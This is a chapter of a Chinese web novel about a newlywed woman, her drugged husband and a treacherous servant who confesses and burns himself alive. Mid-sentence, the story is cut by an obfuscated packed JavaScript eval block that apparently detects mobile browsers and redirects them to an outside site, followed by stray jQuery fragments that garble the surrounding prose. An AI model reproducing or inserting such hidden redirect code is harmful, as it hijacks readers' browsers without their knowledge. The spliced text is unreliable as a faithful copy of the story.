038
孟锦歌眉头一动,定睛去看红荷,见她虽有些慌乱,神情却不似作伪。
“当真?”
红荷用力点头,凑近孟锦歌又把那天的事说了一遍。
“……那之后,吉祥就借口姑娘风寒严重,把姑爷挪到隔壁院子了。等第二天大公子过来后,更是派人全权接手姑爷的身边事。走水后,奴婢都没有机会再接触姑爷。”
着火后第二日一早,刘清衍就赶来了,这次他不光带来不少人手,甚至英国公的亲兵也来了一队,原来这其中竟然另有蹊跷。
孟锦歌思量片刻,对红荷道:“这几日我一直病者,也不知夫君如何了,同我去见夫君。”
“姑娘,都这个时辰了?”外面天色已黑,但见孟锦歌没有打消念头,红荷只得道,“那奴婢服侍小姐更衣吧。”
孟锦歌摇头,“找件外衫来我披上就成,动作轻点,不要惊动其他人。”
孟锦歌出了房门,遇到几个值守的下人。自从那日失火后,庄子上就加了不少巡值的人。
红荷对他们轻声道:“二少奶奶在房里闷久了,出来透透气,你们该忙什么就忙去,二少奶奶有我陪着,不用你们伺候。”
主仆二人一路去了临院,与旁处不同,这里除了巡值的士兵,门外还有两名守卫。
“二少奶奶,天晚了,少爷已经歇下来,还请明日再过来。”
躺了这么久,真能睡得着吗?
孟锦歌哼笑一声,既然能这个时辰来找刘清水,还能就这么回去不成?
她也不答话,扶着红荷的手,抬脚继续向前。
守卫得了命令,今晚任何人不得入内。然而对方是刚过门的二少奶奶,又不能真的使刀去拦。只能伸手挡在孟锦歌身前。
孟锦歌抬手,只抓着他轻轻一挥,那守卫就倒向一旁,直到他一屁股坐在地上,才发觉自己竟然被一个妇人轻轻一推就倒了。
孟锦歌抬眸,对上另一名守卫,“我敬你是护卫大昭的英雄,不想同你动手,你也不能真伤了我,不如咱们做做样子,你也好对上头交待?”
那守卫没明白孟锦歌的意思,顾不上同伴疯狂朝他眨眼睛,挺身拦在孟锦歌面前。
守卫:“二少奶奶,职责所在,在下得罪……”
“砰——”的一声,守卫后背撞上门板,跌坐在地,门扇大开,门框发出“吱呀”声,门轴显然松了。
那守卫坐在地上些迷茫,起身还要去追,抬头看到同伴朝他使眼色。再去看,孟锦歌已走到屋门前,推门径直走了进去。
小桌上虽然点了烛火,但算不得亮堂,刘清衍侧身靠在软枕上,凑在烛光下看着手中的书,听见有人进来,他放下书,冲着孟锦歌点头,“是弟妹来了。”
月光、烛火、身着月牙白长衫的俊逸男子,换做其他场合,是要坐下对月饮酒看美人的,可惜纵使刘清衍有与皓月争辉的风姿,也浇不灭孟锦歌窝了一肚子的火气。
“呦,大哥也在啊。”
孟锦歌不冷不热的打了一个招呼,也不等刘清衍起身,径直走进内室。
床上,没人;柜子里,没人;床底下,没人。孟锦歌把被子揉作一团,扔回床上,愤愤转身,正好对上刘清衍好整以暇的目光。
“第一次见面时,弟妹也曾这样在屋里转悠。”刘清衍笑着道,“弟妹就不怕闹出什么动静,引来不必要的麻烦吗?”
“今夜我只带个丫鬟过来,就是不想扯上麻烦,”孟锦歌目光沉沉看着刘清衍的眸子,眼中的坚决不容置疑。
刘清衍听了不为所动,迈步挡在孟锦歌前面。
“两次我都以为他是死了,我救了他两次!”
孟锦歌声音压得很低,但仍能听出其中带了几分滞涩,再细看她双目,眼底已隐约有泪光显现。
“前天我刚刚把他从火场里背出来,我真的以为我们会死在那里,他就这么骗我,是觉得我很好笑吗?”
“弟妹,英国公府子孙稀薄,怎会拿唯二的嫡子性命开玩笑。”
刘清衍意识到孟锦歌想岔了,忙朝她躬身施礼,“弟妹两次相救二弟,英国公府感激之情不胜言表。”
“灵堂那日,若非弟妹撞翻棺材,恐怕二弟早已被活埋于地下,前日也是,多亏弟妹即时把二弟救出火场。”
“至于为什么没有告诉弟妹二弟已经清醒,是不知那奸人受谁支使,怕打草惊蛇。”
刘清衍对着孟锦歌连拜三拜,才让孟锦歌相信,刘清水真的是被人下药了才昏迷不醒,甚至现在身子还僵硬着,要等找到解药才能完全恢复。
孟锦歌讪笑,还是冲动了,怎么就不管不顾来“堵人”了?
“大哥,我不会坏了你们的事吧。我现在走,当做没来过,还来得及不?”
刘清衍笑着让开路,“两日已经足够处理很多事了,既然弟妹来了,不如与我一同去看看二弟?”
门被敲响时,吉利正刚好落下最后一针。
“来了。”
轻轻咬断线,刚刚还破口的衣服,已恢复如初。
打开门瞧见来人吉利并不意外,眼中透出几分欣喜,“晚上风凉,二爷快进来。”
吉利伸出手去搀刘清水,却被避开了,吉利有些愣怔,相伴十四年,他头一次避开自己的手。
吉利尴尬的笑了笑,侧开身子,让出一条路,“也是,二爷才醒,是应该多活动活动。爷,里面请。”
刘清水身子刚刚能动,尚需人搀扶,但他却向身旁的吉祥摆摆手,拄着拐杖,一步一步慢慢走进屋。
风打进来,吹得烛火摇曳,吉利去关门,不想吉祥挡在门口,没有动弹的意思。
“吉祥,你去院里守着。”
听到刘清水的吩咐,吉祥虽然不放心,但是看了吉利一眼后,还是转身离开。
吉利关好门,刘清水已经在吉利之前的位置坐下了,手里拿着他刚刚修补好的衣服,轻轻摩挲着。
胭脂色的料子,是刘清水喜欢的,这件新衣刚裁好的时候,刘清水还曾转着身当着吉利的面在镜前照。
“衣裳刚补好,二爷要不要上身试试。”
“补得再好,也是破过的。”语毕,刘清水把手中的衣衫放到一边,不再去碰。
“哎呀,我真是啊,”吉利看着撂在一旁的衣衫,只尴尬一瞬又讪笑道,“爷都坐下好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184996|178716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一会儿了,也没想着给爷倒杯茶……”
刘清水:“吉利,你就没有什么想对我说的吗?”
“爷是什么时候醒的?可能用些茶水?我这没什好茶,爷只能将就了。”
吉利兀自说着话,挽起袖子,露出一截鲜红色的里衣。
他把陈茶扬了,从炉子上取了温着的水,泡了新茶,呈给刘清水,见他不接,又把茶放到榻上的小几上。
“二爷请……”
刘清水抬眼,四目相交的一瞬间,刘清水自袖中抽出一柄短刀,“铛”的一声,将吉利一只手钉在小几上。
“谁派你来的?!”
“啊”,吉利只呻吟了一下,就立即收了声。他脸上痛苦的表情稍纵即逝,转而换上一抹莫名的笑。
“二爷不信我?”
钻心的疼痛,让吉利的脸瞬间异常惨白,他不自觉咬破下唇,留下一道猩红,在烛火的映衬下,白日里那张略显寡淡的脸,此刻竟透出一股妖异的美。
刘清水看着吉利的脸,似乎看不到他的痛苦,握着短刀的手暗暗用力,继续问:“你们何时联系上的,他知道多少?”
语气无波无澜,听不出情绪。
“呵呵,”吉利嘴角扬起,润泽的红唇形成诡异的弧度,“二爷,吉利七岁起就跟着爷,至今已有十四年,从未生过背主的心思。”
“二爷若是不信,尽管去查,何必来问我?”
就因为查不到吉利后背的人,而他又知道的太多,刘清水才不得不亲来审。
“那你又为何……”又为何害要我?
吉利蹲下身,仰起脸,定定地看向刘清水,似是要把他的模样刻进骨髓。
“爷,你可还记得,沥哥的生母吗?”
突然一句不着边际的话,把刘清水问的一愣。趁着刘清水分心,吉利握住刘清水手中的刀,用力拔起,拖着残破的手迅速退向一边。
吉利:“她是我妹妹,我一母同胞的妹妹。”
“七岁那年我二人被卖进府里,我有幸伺候二爷,而她被分到大夫人院里,后来被又安排在表姑娘身边。”
“那年她怀了二爷的孩子,谁也没告诉,只一个人偷偷藏着,直到肚子藏不住了,才叫主子们发现。”
“我妹子没福,沥哥才落地她人就没了,这些我都不怪爷。”
吉利突然桀桀大笑,声音愈发疯魔,“是爷说的,坏了人清白就要负责的,爷既然要了我妹妹,怎能装作不知,既然有了沥哥,又为何要娶亲!”
吉利挥动手臂,打翻茶台旁的灯油,又踹翻炉火,火苗顺着他的衣脚窜到他身上,只一瞬间,吉利就被包成一个火人。
“二爷,危险!”吉祥踢开门,冲进屋拉着刘清水向外跑,刘清水不愿离去,还要挣扎,却被后面的孟锦歌一把抱在怀里,直接拎出屋子。
吉利胡乱挣扎,屋子很快被点燃了,他在一片火红中狂笑,“二爷,咱们一起把沥哥带大不好吗?”
“沥哥不是我的孩子,我没做过!”
刘清水冲着火光嘶吼,在房子倒塌的一瞬间,一拳砸向地面。
“朝夕相伴十四载,你也不信我……”